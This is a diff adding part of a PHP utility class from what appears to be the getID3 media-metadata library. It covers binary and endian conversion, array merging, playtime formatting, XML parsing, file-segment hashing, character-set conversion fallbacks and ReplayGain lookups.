+	public static function BigEndian2String($number, $minbytes=1, $synchsafe=false, $signed=false) {
+		if ($number < 0) {
+			throw new Exception('ERROR: self::BigEndian2String() does not support negative numbers');
+		}
+		$maskbyte = (($synchsafe || $signed) ? 0x7F : 0xFF);
+		$intstring = '';
+		if ($signed) {
+			if ($minbytes > PHP_INT_SIZE) {
+				throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits in self::BigEndian2String()');
+			}
+			$number = $number & (0x80 << (8 * ($minbytes - 1)));
+		}
+		while ($number != 0) {
+			$quotient = ($number / ($maskbyte + 1));
+			$intstring = chr(ceil(($quotient - floor($quotient)) * $maskbyte)).$intstring;
+			$number = floor($quotient);
+		}
+		return str_pad($intstring, $minbytes, "\x00", STR_PAD_LEFT);
+	}
+
+
+	public static function Dec2Bin($number) {
+		while ($number >= 256) {
+			$bytes[] = (($number / 256) - (floor($number / 256))) * 256;
+			$number = floor($number / 256);
+		}
+		$bytes[] = $number;
+		$binstring = '';
+		for ($i = 0; $i < count($bytes); $i++) {
+			$binstring = (($i == count($bytes) - 1) ? decbin($bytes[$i]) : str_pad(decbin($bytes[$i]), 8, '0', STR_PAD_LEFT)).$binstring;
+		}
+		return $binstring;
+	}
+
+
+	public static function Bin2Dec($binstring, $signed=false) {
+		$signmult = 1;
+		if ($signed) {
+			if ($binstring{0} == '1') {
+				$signmult = -1;
+			}
+			$binstring = substr($binstring, 1);
+		}
+		$decvalue = 0;
+		for ($i = 0; $i < strlen($binstring); $i++) {
+			$decvalue += ((int) substr($binstring, strlen($binstring) - $i - 1, 1)) * pow(2, $i);
+		}
+		return self::CastAsInt($decvalue * $signmult);
+	}
+
+
+	public static function Bin2String($binstring) {
+		// return 'hi' for input of '0110100001101001'
+		$string = '';
+		$binstringreversed = strrev($binstring);
+		for ($i = 0; $i < strlen($binstringreversed); $i += 8) {
+			$string = chr(self::Bin2Dec(strrev(substr($binstringreversed, $i, 8)))).$string;
+		}
+		return $string;
+	}
+
+
+	public static function LittleEndian2String($number, $minbytes=1, $synchsafe=false) {
+		$intstring = '';
+		while ($number > 0) {
+			if ($synchsafe) {
+				$intstring = $intstring.chr($number & 127);
+				$number >>= 7;
+			} else {
+				$intstring = $intstring.chr($number & 255);
+				$number >>= 8;
+			}
+		}
+		return str_pad($intstring, $minbytes, "\x00", STR_PAD_RIGHT);
+	}
+
+
+	public static function array_merge_clobber($array1, $array2) {
+		// written by kcØhireability*com
+		// taken from http://www.php.net/manual/en/function.array-merge-recursive.php
+		if (!is_array($array1) || !is_array($array2)) {
+			return false;
+		}
+		$newarray = $array1;
+		foreach ($array2 as $key => $val) {
+			if (is_array($val) && isset($newarray[$key]) && is_array($newarray[$key])) {
+				$newarray[$key] = self::array_merge_clobber($newarray[$key], $val);
+			} else {
+				$newarray[$key] = $val;
+			}
+		}
+		return $newarray;
+	}
+
+
+	public static function array_merge_noclobber($array1, $array2) {
+		if (!is_array($array1) || !is_array($array2)) {
+			return false;
+		}
+		$newarray = $array1;
+		foreach ($array2 as $key => $val) {
+			if (is_array($val) && isset($newarray[$key]) && is_array($newarray[$key])) {
+				$newarray[$key] = self::array_merge_noclobber($newarray[$key], $val);
+			} elseif (!isset($newarray[$key])) {
+				$newarray[$key] = $val;
+			}
+		}
+		return $newarray;
+	}
+
+	public static function flipped_array_merge_noclobber($array1, $array2) {
+		if (!is_array($array1) || !is_array($array2)) {
+			return false;
+		}
+		# naturally, this only works non-recursively
+		$newarray = array_flip($array1);
+		foreach (array_flip($array2) as $key => $val) {
+			if (!isset($newarray[$key])) {
+				$newarray[$key] = count($newarray);
+			}
+		}
+		return array_flip($newarray);
+	}
+
+
+	public static function ksort_recursive(&$theArray) {
+		ksort($theArray);
+		foreach ($theArray as $key => $value) {
+			if (is_array($value)) {
+				self::ksort_recursive($theArray[$key]);
+			}
+		}
+		return true;
+	}
+
+	public static function fileextension($filename, $numextensions=1) {
+		if (strstr($filename, '.')) {
+			$reversedfilename = strrev($filename);
+			$offset = 0;
+			for ($i = 0; $i < $numextensions; $i++) {
+				$offset = strpos($reversedfilename, '.', $offset + 1);
+				if ($offset === false) {
+					return '';
+				}
+			}
+			return strrev(substr($reversedfilename, 0, $offset));
+		}
+		return '';
+	}
+
+
+	public static function PlaytimeString($seconds) {
+		$sign = (($seconds < 0) ? '-' : '');
+		$seconds = round(abs($seconds));
+		$H = (int) floor( $seconds                            / 3600);
+		$M = (int) floor(($seconds - (3600 * $H)            ) /   60);
+		$S = (int) round( $seconds - (3600 * $H) - (60 * $M)        );
+		return $sign.($H ? $H.':' : '').($H ? str_pad($M, 2, '0', STR_PAD_LEFT) : intval($M)).':'.str_pad($S, 2, 0, STR_PAD_LEFT);
+	}
+
+
+	public static function DateMac2Unix($macdate) {
+		// Macintosh timestamp: seconds since 00:00h January 1, 1904
+		// UNIX timestamp:      seconds since 00:00h January 1, 1970
+		return self::CastAsInt($macdate - 2082844800);
+	}
+
+
+	public static function FixedPoint8_8($rawdata) {
+		return self::BigEndian2Int(substr($rawdata, 0, 1)) + (float) (self::BigEndian2Int(substr($rawdata, 1, 1)) / pow(2, 8));
+	}
+
+
+	public static function FixedPoint16_16($rawdata) {
+		return self::BigEndian2Int(substr($rawdata, 0, 2)) + (float) (self::BigEndian2Int(substr($rawdata, 2, 2)) / pow(2, 16));
+	}
+
+
+	public static function FixedPoint2_30($rawdata) {
+		$binarystring = self::BigEndian2Bin($rawdata);
+		return self::Bin2Dec(substr($binarystring, 0, 2)) + (float) (self::Bin2Dec(substr($binarystring, 2, 30)) / pow(2, 30));
+	}
+
+
+	public static function CreateDeepArray($ArrayPath, $Separator, $Value) {
+		// assigns $Value to a nested array path:
+		//   $foo = self::CreateDeepArray('/path/to/my', '/', 'file.txt')
+		// is the same as:
+		//   $foo = array('path'=>array('to'=>'array('my'=>array('file.txt'))));
+		// or
+		//   $foo['path']['to']['my'] = 'file.txt';
+		$ArrayPath = ltrim($ArrayPath, $Separator);
+		if (($pos = strpos($ArrayPath, $Separator)) !== false) {
+			$ReturnedArray[substr($ArrayPath, 0, $pos)] = self::CreateDeepArray(substr($ArrayPath, $pos + 1), $Separator, $Value);
+		} else {
+			$ReturnedArray[$ArrayPath] = $Value;
+		}
+		return $ReturnedArray;
+	}
+
+	public static function array_max($arraydata, $returnkey=false) {
+		$maxvalue = false;
+		$maxkey = false;
+		foreach ($arraydata as $key => $value) {
+			if (!is_array($value)) {
+				if ($value > $maxvalue) {
+					$maxvalue = $value;
+					$maxkey = $key;
+				}
+			}
+		}
+		return ($returnkey ? $maxkey : $maxvalue);
+	}
+
+	public static function array_min($arraydata, $returnkey=false) {
+		$minvalue = false;
+		$minkey = false;
+		foreach ($arraydata as $key => $value) {
+			if (!is_array($value)) {
+				if ($value > $minvalue) {
+					$minvalue = $value;
+					$minkey = $key;
+				}
+			}
+		}
+		return ($returnkey ? $minkey : $minvalue);
+	}
+
+	public static function XML2array($XMLstring) {
+		if (function_exists('simplexml_load_string') && function_exists('libxml_disable_entity_loader')) {
+			// http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html
+			// https://core.trac.wordpress.org/changeset/29378
+			$loader = libxml_disable_entity_loader(true);
+			$XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT);
+			$return = self::SimpleXMLelement2array($XMLobject);
+			libxml_disable_entity_loader($loader);
+			return $return;
+		}
+		return false;
+	}
+
+	public static function SimpleXMLelement2array($XMLobject) {
+		if (!is_object($XMLobject) && !is_array($XMLobject)) {
+			return $XMLobject;
+		}
+		$XMLarray = (is_object($XMLobject) ? get_object_vars($XMLobject) : $XMLobject);
+		foreach ($XMLarray as $key => $value) {
+			$XMLarray[$key] = self::SimpleXMLelement2array($value);
+		}
+		return $XMLarray;
+	}
+
+
+	// Allan Hansen <ahØartemis*dk>
+	// self::md5_data() - returns md5sum for a file from startuing position to absolute end position
+	public static function hash_data($file, $offset, $end, $algorithm) {
+		static $tempdir = '';
+		if (!self::intValueSupported($end)) {
+			return false;
+		}
+		switch ($algorithm) {
+			case 'md5':
+				$hash_function = 'md5_file';
+				$unix_call     = 'md5sum';
+				$windows_call  = 'md5sum.exe';
+				$hash_length   = 32;
+				break;
+
+			case 'sha1':
+				$hash_function = 'sha1_file';
+				$unix_call     = 'sha1sum';
+				$windows_call  = 'sha1sum.exe';
+				$hash_length   = 40;
+				break;
+
+			default:
+				throw new Exception('Invalid algorithm ('.$algorithm.') in self::hash_data()');
+				break;
+		}
+		$size = $end - $offset;
+		while (true) {
+			if (GETID3_OS_ISWINDOWS) {
+
+				// It seems that sha1sum.exe for Windows only works on physical files, does not accept piped data
+				// Fall back to create-temp-file method:
+				if ($algorithm == 'sha1') {
+					break;
+				}
+
+				$RequiredFiles = array('cygwin1.dll', 'head.exe', 'tail.exe', $windows_call);
+				foreach ($RequiredFiles as $required_file) {
+					if (!is_readable(GETID3_HELPERAPPSDIR.$required_file)) {
+						// helper apps not available - fall back to old method
+						break 2;
+					}
+				}
+				$commandline  = GETID3_HELPERAPPSDIR.'head.exe -c '.$end.' '.escapeshellarg(str_replace('/', DIRECTORY_SEPARATOR, $file)).' | ';
+				$commandline .= GETID3_HELPERAPPSDIR.'tail.exe -c '.$size.' | ';
+				$commandline .= GETID3_HELPERAPPSDIR.$windows_call;
+
+			} else {
+
+				$commandline  = 'head -c'.$end.' '.escapeshellarg($file).' | ';
+				$commandline .= 'tail -c'.$size.' | ';
+				$commandline .= $unix_call;
+
+			}
+			if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) {
+				//throw new Exception('PHP running in Safe Mode - backtick operator not available, using slower non-system-call '.$algorithm.' algorithm');
+				break;
+			}
+			return substr(`$commandline`, 0, $hash_length);
+		}
+
+		if (empty($tempdir)) {
+			// yes this is ugly, feel free to suggest a better way
+			require_once(dirname(__FILE__).'/getid3.php');
+			$getid3_temp = new getID3();
+			$tempdir = $getid3_temp->tempdir;
+			unset($getid3_temp);
+		}
+		// try to create a temporary file in the system temp directory - invalid dirname should force to system temp dir
+		if (($data_filename = tempnam($tempdir, 'gI3')) === false) {
+			// can't find anywhere to create a temp file, just fail
+			return false;
+		}
+
+		// Init
+		$result = false;
+
+		// copy parts of file
+		try {
+			self::CopyFileParts($file, $data_filename, $offset, $end - $offset);
+			$result = $hash_function($data_filename);
+		} catch (Exception $e) {
+			throw new Exception('self::CopyFileParts() failed in getid_lib::hash_data(): '.$e->getMessage());
+		}
+		unlink($data_filename);
+		return $result;
+	}
+
+	public static function CopyFileParts($filename_source, $filename_dest, $offset, $length) {
+		if (!self::intValueSupported($offset + $length)) {
+			throw new Exception('cannot copy file portion, it extends beyond the '.round(PHP_INT_MAX / 1073741824).'GB limit');
+		}
+		if (is_readable($filename_source) && is_file($filename_source) && ($fp_src = fopen($filename_source, 'rb'))) {
+			if (($fp_dest = fopen($filename_dest, 'wb'))) {
+				if (fseek($fp_src, $offset) == 0) {
+					$byteslefttowrite = $length;
+					while (($byteslefttowrite > 0) && ($buffer = fread($fp_src, min($byteslefttowrite, getID3::FREAD_BUFFER_SIZE)))) {
+						$byteswritten = fwrite($fp_dest, $buffer, $byteslefttowrite);
+						$byteslefttowrite -= $byteswritten;
+					}
+					return true;
+				} else {
+					throw new Exception('failed to seek to offset '.$offset.' in '.$filename_source);
+				}
+				fclose($fp_dest);
+			} else {
+				throw new Exception('failed to create file for writing '.$filename_dest);
+			}
+			fclose($fp_src);
+		} else {
+			throw new Exception('failed to open file for reading '.$filename_source);
+		}
+		return false;
+	}
+
+	public static function iconv_fallback_int_utf8($charval) {
+		if ($charval < 128) {
+			// 0bbbbbbb
+			$newcharstring = chr($charval);
+		} elseif ($charval < 2048) {
+			// 110bbbbb 10bbbbbb
+			$newcharstring  = chr(($charval >>   6) | 0xC0);
+			$newcharstring .= chr(($charval & 0x3F) | 0x80);
+		} elseif ($charval < 65536) {
+			// 1110bbbb 10bbbbbb 10bbbbbb
+			$newcharstring  = chr(($charval >>  12) | 0xE0);
+			$newcharstring .= chr(($charval >>   6) | 0xC0);
+			$newcharstring .= chr(($charval & 0x3F) | 0x80);
+		} else {
+			// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
+			$newcharstring  = chr(($charval >>  18) | 0xF0);
+			$newcharstring .= chr(($charval >>  12) | 0xC0);
+			$newcharstring .= chr(($charval >>   6) | 0xC0);
+			$newcharstring .= chr(($charval & 0x3F) | 0x80);
+		}
+		return $newcharstring;
+	}
+
+	// ISO-8859-1 => UTF-8
+	public static function iconv_fallback_iso88591_utf8($string, $bom=false) {
+		if (function_exists('utf8_encode')) {
+			return utf8_encode($string);
+		}
+		// utf8_encode() unavailable, use getID3()'s iconv_fallback() conversions (possibly PHP is compiled without XML support)
+		$newcharstring = '';
+		if ($bom) {
+			$newcharstring .= "\xEF\xBB\xBF";
+		}
+		for ($i = 0; $i < strlen($string); $i++) {
+			$charval = ord($string{$i});
+			$newcharstring .= self::iconv_fallback_int_utf8($charval);
+		}
+		return $newcharstring;
+	}
+
+	// ISO-8859-1 => UTF-16BE
+	public static function iconv_fallback_iso88591_utf16be($string, $bom=false) {
+		$newcharstring = '';
+		if ($bom) {
+			$newcharstring .= "\xFE\xFF";
+		}
+		for ($i = 0; $i < strlen($string); $i++) {
+			$newcharstring .= "\x00".$string{$i};
+		}
+		return $newcharstring;
+	}
+
+	// ISO-8859-1 => UTF-16LE
+	public static function iconv_fallback_iso88591_utf16le($string, $bom=false) {
+		$newcharstring = '';
+		if ($bom) {
+			$newcharstring .= "\xFF\xFE";
+		}
+		for ($i = 0; $i < strlen($string); $i++) {
+			$newcharstring .= $string{$i}."\x00";
+		}
+		return $newcharstring;
+	}
+
+	// ISO-8859-1 => UTF-16LE (BOM)
+	public static function iconv_fallback_iso88591_utf16($string) {
+		return self::iconv_fallback_iso88591_utf16le($string, true);
+	}
+
+	// UTF-8 => ISO-8859-1
+	public static function iconv_fallback_utf8_iso88591($string) {
+		if (function_exists('utf8_decode')) {
+			return utf8_decode($string);
+		}
+		// utf8_decode() unavailable, use getID3()'s iconv_fallback() conversions (possibly PHP is compiled without XML support)
+		$newcharstring = '';
+		$offset = 0;
+		$stringlength = strlen($string);
+		while ($offset < $stringlength) {
+			if ((ord($string{$offset}) | 0x07) == 0xF7) {
+				// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
+				$charval = ((ord($string{($offset + 0)}) & 0x07) << 18) &
+						   ((ord($string{($offset + 1)}) & 0x3F) << 12) &
+						   ((ord($string{($offset + 2)}) & 0x3F) <<  6) &
+							(ord($string{($offset + 3)}) & 0x3F);
+				$offset += 4;
+			} elseif ((ord($string{$offset}) | 0x0F) == 0xEF) {
+				// 1110bbbb 10bbbbbb 10bbbbbb
+				$charval = ((ord($string{($offset + 0)}) & 0x0F) << 12) &
+						   ((ord($string{($offset + 1)}) & 0x3F) <<  6) &
+							(ord($string{($offset + 2)}) & 0x3F);
+				$offset += 3;
+			} elseif ((ord($string{$offset}) | 0x1F) == 0xDF) {
+				// 110bbbbb 10bbbbbb
+				$charval = ((ord($string{($offset + 0)}) & 0x1F) <<  6) &
+							(ord($string{($offset + 1)}) & 0x3F);
+				$offset += 2;
+			} elseif ((ord($string{$offset}) | 0x7F) == 0x7F) {
+				// 0bbbbbbb
+				$charval = ord($string{$offset});
+				$offset += 1;
+			} else {
+				// error? throw some kind of warning here?
+				$charval = false;
+				$offset += 1;
+			}
+			if ($charval !== false) {
+				$newcharstring .= (($charval < 256) ? chr($charval) : '?');
+			}
+		}
+		return $newcharstring;
+	}
+
+	// UTF-8 => UTF-16BE
+	public static function iconv_fallback_utf8_utf16be($string, $bom=false) {
+		$newcharstring = '';
+		if ($bom) {
+			$newcharstring .= "\xFE\xFF";
+		}
+		$offset = 0;
+		$stringlength = strlen($string);
+		while ($offset < $stringlength) {
+			if ((ord($string{$offset}) | 0x07) == 0xF7) {
+				// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
+				$charval = ((ord($string{($offset + 0)}) & 0x07) << 18) &
+						   ((ord($string{($offset + 1)}) & 0x3F) << 12) &
+						   ((ord($string{($offset + 2)}) & 0x3F) <<  6) &
+							(ord($string{($offset + 3)}) & 0x3F);
+				$offset += 4;
+			} elseif ((ord($string{$offset}) | 0x0F) == 0xEF) {
+				// 1110bbbb 10bbbbbb 10bbbbbb
+				$charval = ((ord($string{($offset + 0)}) & 0x0F) << 12) &
+						   ((ord($string{($offset + 1)}) & 0x3F) <<  6) &
+							(ord($string{($offset + 2)}) & 0x3F);
+				$offset += 3;
+			} elseif ((ord($string{$offset}) | 0x1F) == 0xDF) {
+				// 110bbbbb 10bbbbbb
+				$charval = ((ord($string{($offset + 0)}) & 0x1F) <<  6) &
+							(ord($string{($offset + 1)}) & 0x3F);
+				$offset += 2;
+			} elseif ((ord($string{$offset}) | 0x7F) == 0x7F) {
+				// 0bbbbbbb
+				$charval = ord($string{$offset});
+				$offset += 1;
+			} else {
+				// error? throw some kind of warning here?
+				$charval = false;
+				$offset += 1;
+			}
+			if ($charval !== false) {
+				$newcharstring .= (($charval < 65536) ? self::BigEndian2String($charval, 2) : "\x00".'?');
+			}
+		}
+		return $newcharstring;
+	}
+
+	// UTF-8 => UTF-16LE
+	public static function iconv_fallback_utf8_utf16le($string, $bom=false) {
+		$newcharstring = '';
+		if ($bom) {
+			$newcharstring .= "\xFF\xFE";
+		}
+		$offset = 0;
+		$stringlength = strlen($string);
+		while ($offset < $stringlength) {
+			if ((ord($string{$offset}) | 0x07) == 0xF7) {
+				// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
+				$charval = ((ord($string{($offset + 0)}) & 0x07) << 18) &
+						   ((ord($string{($offset + 1)}) & 0x3F) << 12) &
+						   ((ord($string{($offset + 2)}) & 0x3F) <<  6) &
+							(ord($string{($offset + 3)}) & 0x3F);
+				$offset += 4;
+			} elseif ((ord($string{$offset}) | 0x0F) == 0xEF) {
+				// 1110bbbb 10bbbbbb 10bbbbbb
+				$charval = ((ord($string{($offset + 0)}) & 0x0F) << 12) &
+						   ((ord($string{($offset + 1)}) & 0x3F) <<  6) &
+							(ord($string{($offset + 2)}) & 0x3F);
+				$offset += 3;
+			} elseif ((ord($string{$offset}) | 0x1F) == 0xDF) {
+				// 110bbbbb 10bbbbbb
+				$charval = ((ord($string{($offset + 0)}) & 0x1F) <<  6) &
+							(ord($string{($offset + 1)}) & 0x3F);
+				$offset += 2;
+			} elseif ((ord($string{$offset}) | 0x7F) == 0x7F) {
+				// 0bbbbbbb
+				$charval = ord($string{$offset});
+				$offset += 1;
+			} else {
+				// error? maybe throw some warning here?
+				$charval = false;
+				$offset += 1;
+			}
+			if ($charval !== false) {
+				$newcharstring .= (($charval < 65536) ? self::LittleEndian2String($charval, 2) : '?'."\x00");
+			}
+		}
+		return $newcharstring;
+	}
+
+	// UTF-8 => UTF-16LE (BOM)
+	public static function iconv_fallback_utf8_utf16($string) {
+		return self::iconv_fallback_utf8_utf16le($string, true);
+	}
+
+	// UTF-16BE => UTF-8
+	public static function iconv_fallback_utf16be_utf8($string) {
+		if (substr($string, 0, 2) == "\xFE\xFF") {
+			// strip BOM
+			$string = substr($string, 2);
+		}
+		$newcharstring = '';
+		for ($i = 0; $i < strlen($string); $i += 2) {
+			$charval = self::BigEndian2Int(substr($string, $i, 2));
+			$newcharstring .= self::iconv_fallback_int_utf8($charval);
+		}
+		return $newcharstring;
+	}
+
+	// UTF-16LE => UTF-8
+	public static function iconv_fallback_utf16le_utf8($string) {
+		if (substr($string, 0, 2) == "\xFF\xFE") {
+			// strip BOM
+			$string = substr($string, 2);
+		}
+		$newcharstring = '';
+		for ($i = 0; $i < strlen($string); $i += 2) {
+			$charval = self::LittleEndian2Int(substr($string, $i, 2));
+			$newcharstring .= self::iconv_fallback_int_utf8($charval);
+		}
+		return $newcharstring;
+	}
+
+	// UTF-16BE => ISO-8859-1
+	public static function iconv_fallback_utf16be_iso88591($string) {
+		if (substr($string, 0, 2) == "\xFE\xFF") {
+			// strip BOM
+			$string = substr($string, 2);
+		}
+		$newcharstring = '';
+		for ($i = 0; $i < strlen($string); $i += 2) {
+			$charval = self::BigEndian2Int(substr($string, $i, 2));
+			$newcharstring .= (($charval < 256) ? chr($charval) : '?');
+		}
+		return $newcharstring;
+	}
+
+	// UTF-16LE => ISO-8859-1
+	public static function iconv_fallback_utf16le_iso88591($string) {
+		if (substr($string, 0, 2) == "\xFF\xFE") {
+			// strip BOM
+			$string = substr($string, 2);
+		}
+		$newcharstring = '';
+		for ($i = 0; $i < strlen($string); $i += 2) {
+			$charval = self::LittleEndian2Int(substr($string, $i, 2));
+			$newcharstring .= (($charval < 256) ? chr($charval) : '?');
+		}
+		return $newcharstring;
+	}
+
+	// UTF-16 (BOM) => ISO-8859-1
+	public static function iconv_fallback_utf16_iso88591($string) {
+		$bom = substr($string, 0, 2);
+		if ($bom == "\xFE\xFF") {
+			return self::iconv_fallback_utf16be_iso88591(substr($string, 2));
+		} elseif ($bom == "\xFF\xFE") {
+			return self::iconv_fallback_utf16le_iso88591(substr($string, 2));
+		}
+		return $string;
+	}
+
+	// UTF-16 (BOM) => UTF-8
+	public static function iconv_fallback_utf16_utf8($string) {
+		$bom = substr($string, 0, 2);
+		if ($bom == "\xFE\xFF") {
+			return self::iconv_fallback_utf16be_utf8(substr($string, 2));
+		} elseif ($bom == "\xFF\xFE") {
+			return self::iconv_fallback_utf16le_utf8(substr($string, 2));
+		}
+		return $string;
+	}
+
+	public static function iconv_fallback($in_charset, $out_charset, $string) {
+
+		if ($in_charset == $out_charset) {
+			return $string;
+		}
+
+		// mb_convert_encoding() availble
+		if (function_exists('mb_convert_encoding')) {
+			if ($converted_string = @mb_convert_encoding($string, $out_charset, $in_charset)) {
+				switch ($out_charset) {
+					case 'ISO-8859-1':
+						$converted_string = rtrim($converted_string, "\x00");
+						break;
+				}
+				return $converted_string;
+			}
+			return $string;
+		}
+		// iconv() availble
+		else if (function_exists('iconv')) {
+			if ($converted_string = @iconv($in_charset, $out_charset.'//TRANSLIT', $string)) {
+				switch ($out_charset) {
+					case 'ISO-8859-1':
+						$converted_string = rtrim($converted_string, "\x00");
+						break;
+				}
+				return $converted_string;
+			}
+
+			// iconv() may sometimes fail with "illegal character in input string" error message
+			// and return an empty string, but returning the unconverted string is more useful
+			return $string;
+		}
+
+
+		// neither mb_convert_encoding or iconv() is available
+		static $ConversionFunctionList = array();
+		if (empty($ConversionFunctionList)) {
+			$ConversionFunctionList['ISO-8859-1']['UTF-8']    = 'iconv_fallback_iso88591_utf8';
+			$ConversionFunctionList['ISO-8859-1']['UTF-16']   = 'iconv_fallback_iso88591_utf16';
+			$ConversionFunctionList['ISO-8859-1']['UTF-16BE'] = 'iconv_fallback_iso88591_utf16be';
+			$ConversionFunctionList['ISO-8859-1']['UTF-16LE'] = 'iconv_fallback_iso88591_utf16le';
+			$ConversionFunctionList['UTF-8']['ISO-8859-1']    = 'iconv_fallback_utf8_iso88591';
+			$ConversionFunctionList['UTF-8']['UTF-16']        = 'iconv_fallback_utf8_utf16';
+			$ConversionFunctionList['UTF-8']['UTF-16BE']      = 'iconv_fallback_utf8_utf16be';
+			$ConversionFunctionList['UTF-8']['UTF-16LE']      = 'iconv_fallback_utf8_utf16le';
+			$ConversionFunctionList['UTF-16']['ISO-8859-1']   = 'iconv_fallback_utf16_iso88591';
+			$ConversionFunctionList['UTF-16']['UTF-8']        = 'iconv_fallback_utf16_utf8';
+			$ConversionFunctionList['UTF-16LE']['ISO-8859-1'] = 'iconv_fallback_utf16le_iso88591';
+			$ConversionFunctionList['UTF-16LE']['UTF-8']      = 'iconv_fallback_utf16le_utf8';
+			$ConversionFunctionList['UTF-16BE']['ISO-8859-1'] = 'iconv_fallback_utf16be_iso88591';
+			$ConversionFunctionList['UTF-16BE']['UTF-8']      = 'iconv_fallback_utf16be_utf8';
+		}
+		if (isset($ConversionFunctionList[strtoupper($in_charset)][strtoupper($out_charset)])) {
+			$ConversionFunction = $ConversionFunctionList[strtoupper($in_charset)][strtoupper($out_charset)];
+			return self::$ConversionFunction($string);
+		}
+		throw new Exception('PHP does not has mb_convert_encoding() or iconv() support - cannot convert from '.$in_charset.' to '.$out_charset);
+	}
+
+	public static function recursiveMultiByteCharString2HTML($data, $charset='ISO-8859-1') {
+		if (is_string($data)) {
+			return self::MultiByteCharString2HTML($data, $charset);
+		} elseif (is_array($data)) {
+			$return_data = array();
+			foreach ($data as $key => $value) {
+				$return_data[$key] = self::recursiveMultiByteCharString2HTML($value, $charset);
+			}
+			return $return_data;
+		}
+		// integer, float, objects, resources, etc
+		return $data;
+	}
+
+	public static function MultiByteCharString2HTML($string, $charset='ISO-8859-1') {
+		$string = (string) $string; // in case trying to pass a numeric (float, int) string, would otherwise return an empty string
+		$HTMLstring = '';
+
+		switch (strtolower($charset)) {
+			case '1251':
+			case '1252':
+			case '866':
+			case '932':
+			case '936':
+			case '950':
+			case 'big5':
+			case 'big5-hkscs':
+			case 'cp1251':
+			case 'cp1252':
+			case 'cp866':
+			case 'euc-jp':
+			case 'eucjp':
+			case 'gb2312':
+			case 'ibm866':
+			case 'iso-8859-1':
+			case 'iso-8859-15':
+			case 'iso8859-1':
+			case 'iso8859-15':
+			case 'koi8-r':
+			case 'koi8-ru':
+			case 'koi8r':
+			case 'shift_jis':
+			case 'sjis':
+			case 'win-1251':
+			case 'windows-1251':
+			case 'windows-1252':
+				$HTMLstring = htmlentities($string, ENT_COMPAT, $charset);
+				break;
+
+			case 'utf-8':
+				$strlen = strlen($string);
+				for ($i = 0; $i < $strlen; $i++) {
+					$char_ord_val = ord($string{$i});
+					$charval = 0;
+					if ($char_ord_val < 0x80) {
+						$charval = $char_ord_val;
+					} elseif ((($char_ord_val & 0xF0) >> 4) == 0x0F  &&  $i+3 < $strlen) {
+						$charval  = (($char_ord_val & 0x07) << 18);
+						$charval += ((ord($string{++$i}) & 0x3F) << 12);
+						$charval += ((ord($string{++$i}) & 0x3F) << 6);
+						$charval +=  (ord($string{++$i}) & 0x3F);
+					} elseif ((($char_ord_val & 0xE0) >> 5) == 0x07  &&  $i+2 < $strlen) {
+						$charval  = (($char_ord_val & 0x0F) << 12);
+						$charval += ((ord($string{++$i}) & 0x3F) << 6);
+						$charval +=  (ord($string{++$i}) & 0x3F);
+					} elseif ((($char_ord_val & 0xC0) >> 6) == 0x03  &&  $i+1 < $strlen) {
+						$charval  = (($char_ord_val & 0x1F) << 6);
+						$charval += (ord($string{++$i}) & 0x3F);
+					}
+					if (($charval >= 32) && ($charval <= 127)) {
+						$HTMLstring .= htmlentities(chr($charval));
+					} else {
+						$HTMLstring .= '&#'.$charval.';';
+					}
+				}
+				break;
+
+			case 'utf-16le':
+				for ($i = 0; $i < strlen($string); $i += 2) {
+					$charval = self::LittleEndian2Int(substr($string, $i, 2));
+					if (($charval >= 32) && ($charval <= 127)) {
+						$HTMLstring .= chr($charval);
+					} else {
+						$HTMLstring .= '&#'.$charval.';';
+					}
+				}
+				break;
+
+			case 'utf-16be':
+				for ($i = 0; $i < strlen($string); $i += 2) {
+					$charval = self::BigEndian2Int(substr($string, $i, 2));
+					if (($charval >= 32) && ($charval <= 127)) {
+						$HTMLstring .= chr($charval);
+					} else {
+						$HTMLstring .= '&#'.$charval.';';
+					}
+				}
+				break;
+
+			default:
+				$HTMLstring = 'ERROR: Character set "'.$charset.'" not supported in MultiByteCharString2HTML()';
+				break;
+		}
+		return $HTMLstring;
+	}
+
+
+
+	public static function RGADnameLookup($namecode) {
+		static $RGADname = array();
+		if (empty($RGADname)) {
+			$RGADname[0] = 'not set';
+			$RGADname[1] = 'Track Gain Adjustment';
+			$RGADname[2] = 'Album Gain Adjustment';
+		}
+
+		return (isset($RGADname[$namecode]) ? $RGADname[$namecode] : '');
+	}
+
+
+	public static function RGADoriginatorLookup($originatorcode) {
+		static $RGADoriginator = array();
+		if (empty($RGADoriginator)) {
+			$RGADoriginator[0] = 'unspecified';
+			$RGADoriginator[1] = 'pre-set by artist/producer/mastering engineer';
+			$RGADoriginator[2] = 'set by user';
+			$RGADoriginator[3] = 'determined automatically';
+		}
+
+		return (isset($RGADoriginator[$originatorcode]) ? $RGADoriginator[$originatorcode] : '');
+	}
+
+
+	public static function RGADadjustmentLookup($rawadjustment, $signbit) {
+		$adjustment = $rawadjustment / 10;
+		if ($signbit == 1) {
+			$adjustment *= -1;
+		}
+		return (float) $adjustment;
+	}
+
+
+	public static function RGADgainString($namecode, $originatorcode, $replaygain) {
+		if ($replaygain < 0) {
+			$signbit = '1';
+		} else {
+			$signbit = '0';
+		}
+		$storedreplaygain = intval(round($replaygain * 10));
+		$gainstring  = str_pad(decbin($namecode), 3, '0', STR_PAD_LEFT);
+		$gainstring .= str_pad(decbin($originatorcode), 3, '0', STR_PAD_LEFT);
+		$gainstring .= $signbit;
+		$gainstring .= str_pad(decbin($storedreplaygain), 9, '0', STR_PAD_LEFT);
+
+		return $gainstring;
+	}
+
+	public static function RGADamplitude2dB($amplitude) {
+		return 20 * log10($amplitude);
+	}
+
+
+	public static function GetDataImageSize($imgData, &$imageinfo=array()) {
+		static $tempdir = '';
+		if (empty($tempdir)) {
+			if (function_exists('sys_get_temp_dir')) {
+				$tempdir = sys_get_temp_dir(); // https://github.com/JamesHeinrich/getID3/issues/52
+			}
+
+			// yes this is ugly, feel free to suggest a better way
+			if (include_once(dirname(__FILE__).'/getid3.php')) {
+				if ($getid3_temp = new getID3()) {
+					if ($getid3_temp_tempdir = $getid3_temp->tempdir) {
+						$tempdir = $getid3_temp_tempdir;
+					}
+					unset($getid3_temp, $getid3_temp_tempdir);
+				}
+			}
+		}
+		$GetDataImageSize = false;
